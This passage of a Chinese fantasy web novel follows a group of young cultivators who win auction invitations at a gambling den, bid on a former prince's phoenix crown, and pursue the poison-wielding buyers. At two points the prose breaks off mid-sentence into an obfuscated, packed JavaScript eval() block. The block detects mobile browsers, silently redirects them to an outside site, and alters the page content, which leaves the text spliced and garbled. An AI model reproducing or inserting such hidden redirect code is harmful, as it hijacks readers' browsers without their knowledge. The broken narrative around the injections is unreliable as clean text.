云修云看上去很想摇摇他的脑袋帮他回忆一下,可是有贼心也没那个贼胆,只能试图用言语让他想起来。 “不是你那天跟阿爹说的吗?” “我说什么了?” “你不是问了他是不是要秘宝吗?” 云修泽叹了口气,敲敲他的脑袋。 “我是问了,可他答了吗?” 云修云刚想给他肯定的答案,可电光火石间想起了当时的情景,整个人都呆住了。 “他答了什么?” 他什么也没答,他只是摇了摇头。 云修云整个人肉眼可见的变得沮丧起来,云修泽也没去开解他,双手放到脑后躺了下去,语气慵懒。 “他说让我们找到那个地方,又没说让我们参与夺宝,干嘛干那种吃力不讨好的事,找到了远远的看一眼就是,别没事给自己找事干。” 云修云没再说话,兄弟俩幕天席地的一个躺一个坐,伴着火星时不时发出的声响,安静的度过了一夜。 次日。 几人收拾了昨晚的痕迹,再次出发。 明青没有马,也不愿长时间待在马车中,所以更多的时候还是和行愿一起待在车头,几人慢悠悠的走了一个上午,才终于到了有人居住的一个小城。 进城门前,唐思月从马车里钻了出来,坐在行愿和明青中间,熟练的拿出了一个面纱戴在了脸上,明青默默的看着她,心中想到这般美貌的确该藏起来,不然定会引起不知好歹的人觊觎。 唐思月戴完,竟转手又拿出了一个面纱,向明青递了过来,明青微微外头表示不解,云修泽骑马跟在旁边,见状取笑道。 “思月思虑周全,你也最好带上,难不成你以为自己有多普通吗?你若这么大咧咧的进去了,只怕招惹的人也比思月少不了。” 明青木着脸看了他一眼,惹得他开怀大笑。于是干脆不去管他发疯,接过唐思月手中的面纱也戴了上去。 两位美人白色轻纱遮面,只余眼睛,也是别有一番风情。 几人顺利进了城,找到一个酒楼安顿好,又坐在一起用过饭后,就默契的分头去打探消息。 自从上次两兄弟在酒馆中无意听到唐家的消息后,每到一个地方,不管有用没用,都会专门去打探消息,这次也不例外。 大约一个时辰后,两兄弟和明青就回到了酒楼,三人在小包间里叫了点茶水点心,等着唐思月和行愿归来再一起交换信息。 不一会儿,两人就回来了。 唐思月坐到座位上,神色有些奇怪,想来是打探到了什么。 云修泽见此,放了一杯茶到她面前,示意让她先说。 “两日后,这里的拍卖行将举行一场暗拍,压轴的物品,听说是前朝皇子的遗物,一顶违制得凤冠,而凤冠上有一颗血红宝石,据说来自......” 唐思月微微皱眉,快速说道。 “镜双子!” 9. 孚望九 这个消息让几人都安静了下来。 云修泽拿着茶杯,手在半空中停了一会后,又若无其事的将茶送到了唇边轻抿一口。 “怪不得这么一个偏僻的地方,街上却有那么多珠光宝气的人,看来都是得到了消息来的。” 唐思月点点头。 “是一家名不见经传的小型拍卖行,叫百宝坊,应该是得到了一些势力的支持,才有底气进行这场暗拍,知道暗拍的人少,知道凤冠的客人更是优中选优,我也是十分的机缘巧合才意外知晓的。” “百宝坊...皇后冠......” 云修泽轻叩桌面,沉吟片刻,道。 “怎么才能混进去?邀帖吗?” 这个唐思月和行愿自然也打探过了,说道。 “不错,城中的一处地下赌坊和百宝坊同属一家,这次更是直接放出了十张空白的邀帖,只要同赌坊指定的人进行赌局,连赢三场,便能拿到一张。” 云修泽敏锐问道。 “同一个人可以连续下场吗?” 唐思月眼神认真,看着他微微颔首。 “可以,赌徒都带有面具,不过连续下场获胜,很容易被当成目标。” 这个倒是可以预料,云修泽浅浅勾起一边唇角,说道。 “只要可以连续下场,其他的,无所谓。” “先帝六子三女,这凤冠可知道是哪位皇子的遗物吗?” 明青问道。 唐思月有些惋惜地摇头。 “不知道,可能是为了吸引更多的人,百宝坊的人对此闭口不谈,只是插科打诨的糊弄。” 明青紧抿双唇,神色有些不虞。 “皇族律令,任何人不得私藏、买卖、讨论前朝事或者前朝物品,这个百宝坊倒是胆子够大,竟不知从哪里弄来这不知真假的东西当噱头,哼,张狂!” 云修泽看她一眼,停了一会儿,安慰道。 “他们若真那么肆无忌惮,只怕这就不会是暗拍,而是平头百姓都可议论的饭后谈资了。” 明青安静的点点头,没再说什么,察觉到云修泽一直看着她,还抬头看回去,似乎在问‘怎么了?’。 云修泽看她这样,竟觉得有几分可爱,眼中的冷漠也悄悄散了。勾勾手示意她附耳过来,在她耳边轻声说了几句什么,明青给了他一个带着点惊讶意味的眼神,似乎没想到竟然还能这样。等退开时,就见他笑得一脸狡猾。 云修云趴在桌子上,看着他们打趣。 “呦,两位,说什么悄悄话呢?给大家伙分享分享?” 云修泽看他一眼,笑道。 “小孩子好奇心别太重。” 云修云耸耸肩看向唐思月。 “你看看,有了明青姐,连我这个亲弟弟都不要了。” 唐思月笑而不答,看着云修泽捏起一个坚果准头十分好的砸中了云修云,云修云抱头喊痛,倒是让气氛轻松了起来。 云修泽拍拍手,决定道。 “青玉,你和思月还有行大哥留在这里,我和明青今晚要去赌坊一探。” 唐思月有些担心,可也知道这么安排最好,就点点头表示自己知道了。 云修泽冲她安抚一笑,故意说道。 “思月,青玉我可就交给你了,看好他别让他闯祸。” 唐思月宽心了许多,笑着应了。而云修云则是有些纠结,不知是该高兴还是应该跳脚,在几人的笑意中只能偃旗息鼓,委委屈屈的忍下了。 是夜。 一条曲折幽暗的小路上,两个穿着黑色斗篷的人轻轻推开了一扇不起眼的门,七拐八拐后,喧闹的声音就传到了他们耳中。 云修泽站定,递给了身旁的明青一张毫无特色的白色面具,自己也戴了一张一样的,两人从头到脚都是一个样子,戴好面具后,倒像是同一个人的男版和女版,云修泽轻笑一声,就见旁边那个顶着一张惨白的面具抬头看他,实在忍不住又多笑了几声。 “你笑什么?” 明青的声音传来,因为有面具阻挡而显得有些闷,倒像是她本人在郁闷一般。 即使只能看见一双眼睛,明青也能看出云修泽此时眼中透露出的一种像是温柔的神色。 “笑我们两个,穿成这个样子,才能明白镜双子的对镜自照究竟是个什么样的场景,看着你,宛如看着另一个自己,虽然赌坊里多数人都是这个打扮,但我也有自信能将你一眼认出。” 明青应该是笑了,眼睛微微弯起,看着他,一边往前走,一边说道。 “你最好是。” 云修泽没想到能哄她笑,微微有些惊喜,却也懊恼没能看到,他看着明青给门口的护卫交了点钱,转身进了赌坊,再一眨眼,就消失在了人群中。 云修泽愉悦的低笑两声,深吸一口气,也学着败家少爷的姿态,大摇大摆地进了赌坊。 进了那个门,就像是进了另一个世界,场地宽阔,分为十个区域,共有十个玩法,几乎每桌都坐满了人,有不少脸红脖子粗的叫嚷着被拖了下去,马上就有新人顶上,还有人在各个地方游走。 每个区域中间都会有一桌赌坊自己的人在那里守着赌桌,每开一局都是不小的金额,所以很少有人敢去挑战,但只要能连赢三场,就能在巨额的财富和一张不知名的邀贴中择一带走。 而邀贴,现在已经有人拿走了,还留在这里的,只有...... 七张。 云修泽并没有急着下场,反而在每个赌区都逛了一遍,观察着每一种玩法,在场下预测赌局的结果。 等到他觉得差不多了,才装模作样的下场赢了几局,然后就像是一个自信心膨胀的蠢货一样,直接就来到了中央赌桌,大手一挥将刚刚赢来的钱全都压了上去。 感谢世叔给的本金。 赌坊的人笑着为他开局,眼中却藏着精明的算计。 这个区域是摇骰子,赌点数的大小,云修泽从小在竹林里修炼听声辨位,对于声音十分敏感,他第一场选择这里,便是觉的这里最好下手。 前两场是赌坊的人故意输给他的,如果第三局云修泽没有赢的话,那他不仅要把赢来的钱全部还回去,甚至还要倒贴不少。 摇骰子的器具都是隔绝灵力的,但是隔不住云修泽的耳朵,对面人的动作在他眼中仿佛被放慢,他毫不意外的察觉到了对方的出千,于是指尖微动,放了一缕灵气过去。 灵气只是靠近,根本没有碰到,但是化为实体的灵气却可以带动微风,这一丝风就悄无声息的打乱了内里骰子的点数。 等到执蛊的人自信的掀开,却不可置信的发现所有的骰子点数都是一,周边围着的人都吵闹起来。云修泽勾唇一笑,用夸张的动作向周围观看的人拱手示意承让。 赌坊的人不知是出了什么意外,但那么多的人围观,也只能无奈的捏着鼻子认下。 他勉强扯出一张笑脸,冲云修泽拱手道喜。 “恭喜呀,恭喜!您这手气也实在是让小的自愧不如,按照我们这里的规矩,一百万金和邀帖,不知您想要哪个?” 云修泽丝毫不崩人设,活脱脱就是个纨绔,装作爷不差那点儿钱的样子问道。 “那邀帖是个什么玩意儿?” 旁边有人劝他。 “唉!就是一张空白的帖子,也不知道干嘛用的,哪有真金白银来的实在!依我们看啊,还得是选那百万金才是!” 不止一个人这么说,有不少人都在劝他选实在的,可他大手一挥,竟是偏要和众人对着干。 “诶!你们要这么说,我倒真对这玩意儿有点儿兴趣了,区区一百万金而已,就要那个什么...邀帖了!” 赌坊的人将邀帖给他送了上来,他拿着上下看了看,便不甚在意的收了起来。 周围的人一看,便知道他身上大约是有储物用器,倒也真的信了这是个不差钱的主。 云修泽将身边围着的人轰散,径直离开了这个区域,好像还没玩够一样,又去别的地方凑热闹。 他和明青分头行动,明青比他更低调些,但两人身上也大约都有了两张帖子,倒也不全赢,偶尔也会输个几局用作遮掩。 就算是这样,也还是被赌坊的人注意到了,等云修泽又一次坐在中央赌桌上后,一个小头领亲自带了人来上场了。 这把是赌牌,抓完牌后,由骰子决定赌坊的人从左到右拿自己的第几张牌,而云修泽需要从自己的牌中选定一张,和对面的人同时掀开。 如果他的牌数更大,那么便是获胜,反之为输,一局分为三小局,三局两胜。 云修泽看着对面,烛火将他的对手照的很亮,而他的目光则不经意瞥向了对方身后的阴暗处,明青已经悄然在那里站定。 明青在斗篷下的手悄悄捏了个法诀,瞬间,两人便共享了眼睛所能看到的一切。 她微微眯眼,细不可察的灵力悄然四散,将小头领的动作分解拆散。 他的出千手法实在是出色,可架不住他的牌就是明摊在云修泽眼中的,为了设局逼他将最大的牌用出,有时甚至还会故意输给他。 周围人将气氛烘托得很是热烈,就像是自己上场一样不断地叫喊,云修泽也配合着输赢,表演着得意或者愤怒不甘的情绪。 三局过后,云修泽毫不意外的获得了胜利,于是做足了姿态,仰头大笑了起来,尽显得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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明青也如法炮制,两人穿着自己的衣服,假扮成正在逛街的路人,当着他们的面,肆无忌惮的回了酒楼。 两人在酒楼的二楼站定,云修泽面对着前方,却歪头看向明清。 “今日天色已晚,恐怕他们都睡下了,明日午时,来我房中?” 明青听着这话,总觉得有哪里不对,却也没有多想,点点头应下。 云修泽微微一笑,声音微沉。 “那,好梦。” 明青觉得今夜的云修泽有些奇怪,不知道为什么,搅得她有些心绪不宁,听着他的语气,也不自觉放轻了声音。 “嗯,好梦。” 云修泽眉眼带笑,静静的目送她回到了房中,又在原地站了一会儿,才迈开步子,回了房中。 * 五人聚在云修泽的房中,云修泽将得来的帖子分给他们,把昨天的事简单描述了一下,又有些不放心的叮嘱道。 “明日穿好斗篷,到切记不要暴露自己的身份。” 见几人都点头应了,才勉强放下心来。 次日。 几人穿着黑色斗篷来到了百宝坊,像这种地方,穿成他们这样的人不在少数,所以他们混入其中,倒也并不十分显眼。 他们跟着领路人走过了一个简易的阵法,顺利来到了地下。 凡是参与暗拍的,就没有愿意将自己暴露在众人眼下的,所以整个场地全都是包厢,几人被领进其中一个,这个包厢面对着拍卖台,整整一面都是用一种水晶制成的透明单向墙面,房间内备了桌椅茶水,最中间的那个桌子上漂浮着一块菱形的灵石,侍从上前解释道。 “几位贵客,这块灵石是用以叫价的,每个拍品都会有固定的追加数额,想要加价,便只需轻轻触碰这块灵石,场上自会有人按照拍品的加价金额为您举牌。” 云修泽点点头,也不说话,只是挥手示意他退下,等他离开,五人便坐了下来,等待开场。 “来了不少高手。”行愿道。 云修泽眼神冷然,还在还没开场,竞拍者就已经在有意无意试探对方的实力了,他平静的点了点头,道。 “我们低调一些,暂时别引起太多注意。” 时间一点点消磨在香柱的灰烬中。 不知过了多久,整个场地终于悄无声息的暗了下去,拍卖台的周边泛起了淡淡的荧光,慢慢的越来越亮,直到将整个拍卖台都笼罩,让它彻底变成了众人眼中的焦点。 一位华服美人带着半遮的面具款款走上台面,红唇勾起,含有灵力的声音便传到了人们耳中。 “阿蒂在此恭迎今日莅临本场拍卖的贵客,在这里,无所不有,无所不卖,请各位安心竞拍,百宝坊会保护每一位贵客的身份。” 说罢,她便伸出双手轻轻一拍,立马就有侍从捧着托盘上来,他将托盘并着拍品放到高台上,又弓着身子默默退下。 那位自称阿蒂的美人伸手,将众人的视线引向托盘上的拍品,用轻柔的声音说道。 “那么,今日的拍卖,正式开始。” 10. 孚望十 这场拍卖会总共二十件拍品,先拿上来的一般都是比较稀有的东西,用来热场,中间则会放些普通点的,凤冠如此造势,定然压轴的。 这个百宝坊看起来的确只是个普通的小拍卖行,拿出来的东西虽然都还算得上珍惜,但也没有几件真的能打动包厢里这几位被大家族养出来的少爷小姐,直到凤冠被抬了上来,才让几人打起了精神。 凤冠华美,点翠、珍珠、金钗、博鬓、纯金的龙凤还有各色宝石若干,最耀眼的,便是那金凤口中所衔的血红宝石珠串,用珍珠点缀,金银丝交缠成极细的线制成流苏,不难想象若是有人头戴此冠,行走摇曳间,会是怎样的夺目与庄严。 命人制此冠者,虽还是个皇子,却没有一点偷工减料,反而比历代皇后的凤冠要更用心一些。 多数人都是冲着这个冠来的,此冠一出,几乎所有的包厢都第一时间触碰了灵石,表示参与竞拍。 阿蒂很满意这个效果,她的笑容又扩大几分,红唇鲜艳,抹上了一丝贪婪,她用灵力将凤冠微微抬起,露出了内里的制印。 “各位请看,百宝坊既然敢冒险拍卖,就绝不会用假货来糊弄大家,这个,是前朝皇子,四皇子的遗物,凤冠内有四皇子私印,民间绝对无法仿制。” 她顿了顿,又接着说。 “这顶凤冠是四皇子监国时命人赶制,那时所有人都认为他能够继承大统,却无奈天妒英才,因为身体原因便撒手人寰了,所以这顶绝美的凤冠就这样被搁置。” 她将凤冠轻轻放下,转手开始介绍凤冠本身。 “诸位请看,凤冠通高三十五,冠口二十,共嵌宝石一百二十块,装饰珍珠五千五百颗。龙凤珠花及博鬓均左右对称,龙凤姿态生动,珠宝金翠色泽艳丽,光彩照人,尤其是此凤口中所衔的红宝石,想必诸位也都听说了。” 她歪头微微一笑。 “来自名满天下的镜双子,这可不是普通的宝石,而是一种非常稀有的灵石,是一种特殊的树种在极其苛刻的条件下才能孕育的,能够散发出十分特殊的淡香,对女子的身体有很好的滋养作用,长久佩戴也有美容养颜的功效,如果是法修,佩戴这块宝石,也有调养经脉、祛除杂质和破除迷障的用途。” 阿蒂伸手一点,用了一个小法术,让点点荧光围绕着这个凤冠上下舞动,将凤冠照耀的愈发美丽。 “大家都知道,皇族律令,不得买卖前朝物件,尤其是贵族物品,所以今天在这里的顶冠不仅有很不错的实际用途,还有很高的收藏价值,而我们百宝坊既然能拿到这顶凤冠,那么知道的信息,也只会比阿蒂刚刚所说还要要多上一些,如果有哪位贵客拍下此物,想要了解更详细的,阿蒂,愿意为您慢慢说来。” 她的语气变得有些缱绻,让人不自觉地去想是否还有些别的赠礼。 “那么,话不多说,这顶凤冠,起拍价,二百三十万金,每次加价二十万金,上不封顶!” 随着她的声音落下,云修泽五人旁边的房间最先亮起,阿蒂伸手一指。 “雪字房,二百五十万金。” 这里的房间是以风花雪月、春夏秋冬等雅称命名的,他们所在的,则是月字,听到叫价,云修泽皱了皱眉,将几人聚到一起,底气有些不足的问。 “各位,身上都还有多少啊?我这算上赌坊里刚拿到的,也就一百二十万金,赌坊有最低上桌金额,所以明青应该和我差不多,一百上下浮动吧,你们呢?” 明青在他旁边没有说话。 云修云眨眨眼,翻了翻自己的玉佩,有些不好意思地笑道。 “我这就五十万金零十五两了,这还是世叔准备的,不然你弟弟估计也就能拿出十两来了。” 云修泽看出他尽力来了,竟然连那十几两都拿出来说,于是只能将希望寄托在唐思月身上。 唐思月清点了一下金额,抬头说道。 “唐家行医,多年隐居,家底算不得十分丰厚,所以我身上大概只有七百万金差不多,行愿嫌管钱麻烦,一般都是放一点在身上应急,其余的都放在我这里随取随用,大约有三十万金。” 一旁的行愿点点头,示意唐思月说的没错。 云修泽大致估算了一下。 “那我们合起来应该也有一千万金,但是这笔钱不能全部支用,每个人至少要留下十万金在身上,思月的是她父亲留给她的资产,我们顶多取一半,所以我们能出的最高价在六百万金左右。” 唐思月张了张嘴,想说自己可以出更多,却被云修泽摇头制止了,表示这件事没得商量,于是带了点感激之意,点点头应下了。 就在他们商讨的一时半刻,外面的叫价就已经来到了四百一十万金,竞争十分激烈,一部分人是冲着收藏或者宝石的功效去的,还有一部分,恐怕就是要买阿蒂口中那‘额外’的消息。 云修泽心中有了底,便也开始参与竞价,他伸手碰了碰灵石,灵石发出了十分轻微地一声脆响,光芒应声而亮,台上阿蒂的手伸向了他们。 “月字房,四百三十万。” 话音刚落,马上就有新的叫价。 “秋字房,四百五十万。” “风字房,四百七十万。” “雪字房,四百九十万。” “月字房,五百一十万。” 价格到了五百万,参与叫价的就已经没剩几个了,喊价也越来越慢,除了他们,就只剩雪字号和秋字号,云修泽预算不多,只能跟他们玩点心理战,每一次叫价都跟得十分迅速,通过这种方式来给他们一点压力。 云修云看着这种情形有些惊讶。 “这才五百万,竟然就没什么人叫价了,镜双子的消息不是挺值钱的吗?” 唐思月看起来兴致不高,拿起一块酥脆的点心,也不吃,只是没什么精神的用手指一点点轻轻捏碎,听到他的话,抬头看了他一眼。 “这算幸运的,百宝坊没那么大的胆子和手段,不敢将这个消息传播得到处都是,也不敢招惹那些顶尖的世家,不然林家主也不会不知道,如果换成通神阁试试呢,只怕咱们这点,都不够那些疯子塞牙缝的。” 一旁的明青听到这话,有些惊讶的转头看了她一眼。 几人进来时,就已经将用来遮掩身份的斗篷脱下了,而她穿的不算十分暖和,此刻斜斜坐着,更显得单薄,整个人都有些懒洋洋的,跟平时行走坐卧都带着世家小姐的姿态很是不一样,眉眼松散后,便没有了端美之感,艳丽的弧度反而显露出攻击性来。 云修云有些看呆了,骤然见到她不同的一面,心中又不免有些高兴。 她愿意在我们面前卸下姿态,岂不是更加亲近我们了? 想到这里,云修云的眼神变得十分清亮,嘴上也咧开了笑容。 “是我浅薄了,没能深想,我性子直,以后有什么不妥的,思月可要多帮帮我。” 正忙着喊价的云修泽忙里偷闲,看了他这个傻弟弟一眼,在心中摇了摇头。 唉!这么多年的淳淳教诲,终究是错付了! 那边的行愿似乎也注意到了她的单薄,拿出一件浅色的披风,将它披到了唐思月身上,唐思月拢着领口,笑着抬头看他一眼,行愿点点头,又去看了一眼明青,似乎在思量她的衣着。 明青有些意外他竟然会顾及自己,停了一会儿,对他摇摇头,冲他轻声道谢,示意自己并不需要添衣。 行愿无声点头,低头帮唐思月将被披风盖住的长发轻轻拿了出来,确认她没什么不舒服后,才坐回了自己的位置。 明青冲唐思月微微弯了弯眼睛,语气带了些柔和。 “行愿大哥很像我哥哥,他们的性子差不多,虽然都很沉默,但是本质上却十分的细心温和。” 行愿看了她一眼,没有说话。 唐思月在那边靠着扶手,歪头打量他们两个,用鼻音发出一声不知意味的轻笑。 “我倒是觉得你们两个也很像,都是面冷心软的人。” 这边两个姑娘轻声交谈,那边云修云想的却是为什么自己没能想到给唐思月披个衣服。 行愿大哥看顾她日久,现在更算得上是她唯一的亲人,自然也不会希望她日后的情郎是个粗心的人,她冷了连个衣服都不会给她披,自己以后要更细心些才是。 这么想着,就不由得嘿嘿傻笑起来,惹得四人都去看他,云修云被四双眼睛看的一顿,用手捂着脸狠狠揉了一把,才装作若无其事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15950937|177559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的去看拍卖,正好就碰上了雪字房叫价。 “雪字房,六百一十万金。还有加价的吗?” 阿蒂环顾四周的包房,给了一点考虑时间后,开始喊道。 “六百一十万,一次。” 她拉长了声音。 “六百一十万,两次。” 这已经到了五人预估的最高价,云修泽皱了皱眉,想要放弃竞拍,之后再做打算,却不想一边的明青突然碰了一下灵石,光芒骤然亮起。 阿蒂眼神动了动,笑得十分灿烂。 “月字房追价,六百三十万金!” 云修泽惊讶的回头看她,明青抿了抿嘴,还没等她说什么,一旁的唐思月先行开口说道。 “加吧,多出来的我出,这个凤冠,我也很想拿来一观。” 她的神色少见的有些冷淡,语气却十分坚定。 云修泽轻轻皱眉,明青却摇了摇头,她从这个凤冠被拿上拍卖台开始,情绪就有些不快。 “我有,我出,我想要它。” 云修泽见队伍中的两个姑娘都对这个凤冠那么执着,便没再说什么,毕竟他刚刚对明青手中资产也只是做了个估算,说到底还是没有问过,她既然有底气,便无需去阻挡她,只是叮嘱了一句量力而行。 “雪字房,六百五十万金!” 他们旁边的房间里亮起,是雪字房,那么多包厢,只有这个包厢加价从来不犹豫。 明青也很强势,直接跟上,又一次加价。 现下只剩他们两个包厢角逐,阿蒂很兴奋,五百万往上,在他们这个小拍卖行已经算是溢价了,价格越高,她拿到手的越多。 明眼人都能看出他们两个包厢在较劲了,每次加价就没有犹豫的时候,直到价格到了八百万金,明青才咬牙不再喊价。 “八百七十万金!第三次!成交!” 随着此话喊出,这顶凤冠就已经确定被雪字房的人拍下了,阿蒂让侍从将它撤下后,走到拍卖台正中央,轻柔的行了个礼。 “今天所有的拍品到现在已经全部确认了买家,拍卖会也在这里结束了,诸位拍下了东西的贵客,可以选择自行领取拍品,先行离开,也可以在包厢等待阿蒂亲自带人为您奉上,只愿下次拍卖会,诸位贵客还能赏脸前来,阿蒂这就先行告退了。” 她说着,整个人就隐入了黑影中消失不见,场地也都随着她的消失慢慢的重新暗了下去。 明青起身,十分迅速的重新穿上了斗篷,提起深流就开始往外走,走了两步,又像是突然想起了什么,停下来转头对他们说。 “我去追雪字房的人。” 说罢,她就再无停顿,快步离开。 云修云已经有点习惯她的雷厉风行了,挠挠头转头去看他哥。 “这就走了?她就不怕她走的比雪字房的人还快?” 云修泽正在穿斗篷,他一边系着斗篷的带子,一边对他说道。 “这种和双生子扯上关系的东西,你拿到了还能乖乖留在这儿?等人给你来一出关门打狗呢?雪字房的人肯定马上拿了东西跑了,这换成谁不得跑啊。啊,你可能不会跑。” 听到云修泽又开始阴阳怪气的教育他,云修云郁闷的哦了一声,锲而不舍地再一次开始提问。 “那他们不问镜双子的消息了吗?” 云修泽拍拍他的头。 “先跑再说嘛,百宝坊立在这儿又跑不了,等甩开了人,拿着东西回来问,他们还能赖账不成?” 云修云明白了。 “那我们去追明青姐?” 云修泽已经准备妥当了,听他问这话,看了他一眼,和蔼的笑道。 “当然去追,你也不怕你明青姐一个人被人欺负,行大哥,你带好思月,咱们要快点了。” 行愿点点头,将唐思月揽到身边,稍一弯腰就将人抱了起来。 他的轻功虽然比不上云修泽和明青,可却比云修云强上一些,带着个人也不至于跟丢。 云修云看看他,又看看自己的双臂,决定要回去努力练练臂力和轻功。 云修泽将他的小心思看得一清二楚,勾唇说道。 “走吧,去给你明青姐撑腰。” 11. 孚望十一 明青出了百宝坊,专挑隐蔽的小路或者四通八达,有利于躲避敌人、来回游走的路来追击雪字房的人。 早在拍卖的前一天,他们几人就为了以防万一,将这附近的路都摸排了一遍,现下倒是正好方便了她找人。 她面无表情抓紧了深流,调动身体,在脑海中不断的估算着他们会选择的路线。 明青极轻极快的四处游走,如果有人能看见她,便会发现一个黑影突然闪身出现在这条路上的某一个地方,或许是屋顶,或许是巷口,再一眨眼间,便又不见了,只叫人以为是自己出现了幻觉。 明青的步伐本身是简单的,可是它组合运行起来却十分的复杂,哪怕有人想要细细观之,也只会觉得眼花缭乱,根本看不懂其中奥妙,而她使用轻功的时候,每次落地都偏好于暗处、不显眼处,在对打或者追击过程中,很难有人将注意力放在这个上面,因此在这方面,她是有着不落于人下的自信。 明青一边找,一边筛选着,她的思路很显然是正确的,没用多久,她就发现了雪字房的人,但她没有选择上前,而是挑了他们近处的一棵树,隐蔽的蹲了上去,居高临下的看着雪字房的人和另一拨人对峙。 这种事后劫路的想法很显然不止她一个人有,看现场这个样子,很明显雪字房的人已经料理过一波人了,身上都或多或少的带着一些伤,他们是有备而来,应该还用上了十分稀少的传送符,如果不是因为传送符的距离限制过大,或者没有人那么早找到他们,恐怕他们早已经走远。 明青眯了眯眼睛,她已经第一时间出来找人了,前面的这些人没道理比她快那么多,恐怕是早就已经算好了雪字房这六个人会在哪里出现,提前埋伏在了这里。 她静静的放慢了呼吸,宛若和树木合为一体一般,一动不动的蹲着,最大程度的削弱了自己的存在感。 下面两拨人交谈无果,很快争斗了起来。 雪字房的人看起来并不十分擅长攻击,反而速度和防御不错,对面的人明显实力比他们强,他们全盛时期就无法快速将对面击败,更何况他们都已经受了伤,在这种情况下,便只能靠游走偷袭来拖延他们的体力,再伺机逃走。 但他们对面的人也显然也知道这点,虽然被拖住,但是并不是就这样被全然限制。 这拨人一看就来自同一个地方,练习的体术、配合、攻击都十分默契,剑招也十分规矩,没有平常人爱在无意间搞点小动作的习惯,总让明青觉得有点眼熟。 雪字房的五个人数次想要掩护其中一个人逃走,都被他们强横的拦了下来,很显然,短时间内,他们都无法拿对方怎么样。 眼看着陷入僵局,雪字房的六个人突然对视一眼,似乎在转瞬间达成了什么一致。 他们迅速从衣袖中掏出来药丸咽了下去,对面的人见状不妙,立刻就要拉开距离,却无奈雪字房中已经有一个人掏出一颗药丸,飞快的向地上掷去。 那药丸的外壳竟是极薄极脆的,落地的瞬间便应声破裂,随即而来的就是浓郁的烟雾,十分霸道的在这一片地方蔓延。 对面那几个人尽管已经后退,却也无可避免的沾染了一些,让明青没有想到的是,仅仅是这不多的分量,就让那几个内家高手毫无抵抗之力,几个呼吸间就已经倒在地上彻底没了声息,再看吃下了疑似解药的雪字房中人,也都无一例外出现了痛苦的表情,似乎无法很好的控制自己的身体。 烟雾很快向上弥漫,明青站直身体,不太怕死的嗅了嗅这个烟雾,仔细分辨了一会儿,眉头就轻皱了起来。 这是一种叫阎罗殿的毒物,无论是嗅闻、吃下、还是伤口接触了此物,都会在极短的时间内死去,世上根本没有出现过它的解药,她自己的体质特殊,自然是不怕的,可这几个雪字房的人吃下的恐怕也只是用来延迟生命、治标不治本的东西。 明青感到有些烦躁,这群人是不要命也要将这个凤冠带回去给他们背后的人。 眼见着下面这六个人已经摇摇晃晃的重新控制了自己的身体,明青也不再耽搁,轻巧的跃下树,脚踩在地上的干草上发出了轻微的声响,那六个人警惕看来,却什么也没有发现,正当他们放松警惕,准备马上离开时,就听见明青的声音在他们背后响起。 “我在这里。” 几人悚然回头,深流已经出鞘,蓝白的剑身很是美观,可是锋利的剑刃,却已经抵在了他们刚刚想要掩护离去之人的脖颈上。 “怎么可能?!这可是阎罗殿!你竟然一点事儿都没有吗?” 其中一个人震惊喊道,持剑的手都再次变得僵硬起来。 明青没有向他们解释,反而问道。 “你们是谁的人?为什么要买凤冠?都还知道些什么?” 那五个人显然不准备回答她的问题,一个个都谨慎的围在了她的周围。 明青也没抱什么希望,看刚才这几个人连命也不要的样子,就知道恐怕也问不出什么来。 她站在一人身后,迅速在自己挟持的人身上点了两下,那人只觉得手脚发软,血脉堵塞,不受控制的软倒下去,跌坐在了地上。 深流依然紧随着他的脖颈,可明青本人的姿态放松,只是站在那里,完全不害怕剩下五人会趁此偷袭。 只听砰砰砰五声闷响,坐在地上的中年男人不可置信的看着他的同伴们整整齐齐的失去了意识,他的眼睛发直。 “你干了.......什么?” “哦。” 明青指了指刚刚她蹲过的树的树脚下,轻描淡写的回答他。 “我刚刚在那儿丢了一棵梦仙草,加重了阎罗殿的威力,我帮你点了穴缓解了毒素流动,但他们却是扛不住的。” 中年男人没有回话,树脚下,一棵毫不起眼的灵草静静地和一地的杂草堆在一起。 梦仙草,阎罗殿的主要用料之一,稀世罕见,难以寻找。 他低声苦笑,看来老天竟是要刻意为难他们,让这种级别的灵草随随便便就出现在了这种巧妙的时刻。 明青垂眸看他,情绪没有什么起伏。 “凤冠,交出来,我可以放你回去报信。” 中年男人仿佛没有听到一般,怔怔地坐在那里,明青也不催他,过了一会儿,他才像是反应过来一样,动作迟缓的拿出了凤冠。 明青接过凤冠,上下端详了一下,确定了是真货,正打算将它收起来,中年男人却突然开口问道。 “你为什么想要凤冠?” 明青的动作停了一下,看着他问道。 “想要问别人,是不是应该先说自己的。” 中年男人看着凤冠,又沉默下来,明青定定的看着他。 “当朝律令,不可讨论、买卖、流通前朝事和前朝物,你们在挑战天威。” 这句话不知是哪里碰到了中年男人的神经,他的表情突然扭曲了一下,不屑的嗤笑起来。 “呵,你倒是守法度,把这种话挂在嘴边,可是认为皇帝做的一切都是对的?” 明青神色不动。 “他是明君,天下皆知。” “哈哈哈....明君....哈哈哈....明君、明君!!!” 中年男人突然笑起来,肩膀耸动,状似疯狂。 明青的心情被他笑的有些复杂,正想着要再说些什么时,忽然听到了身后的动静,她心中一惊,扭头看去,还没等看清什么,就觉得小腿下方一痛,然后整个下肢瞬间麻痹,刚刚还像是有些失心疯的中年男人马上就变了个眼神,根本看不出他刚才的疯样,他抓住了这个机会,在地上一个翻身离开了深流的钳制,抓起旁边刚刚掉落的剑就要向上刺去。 明青下身动弹不得,知道是自己大意了,让别人有了偷袭的机会,也让这个中年男人有时间暗中冲击穴位,摆脱了控制。 他刺来的角度很是刁钻,就是打着不能让她轻易回防的主意来的,她咬咬牙,尽力让身体避开要害,手腕翻转,调动深流同样就要向那中年男人攻去,想着就算自损一千也要伤敌八百,至少要把他拖在这里,阎罗殿还没有完全消散,只要能将他长时间拖在这里,耗也能将他耗死! 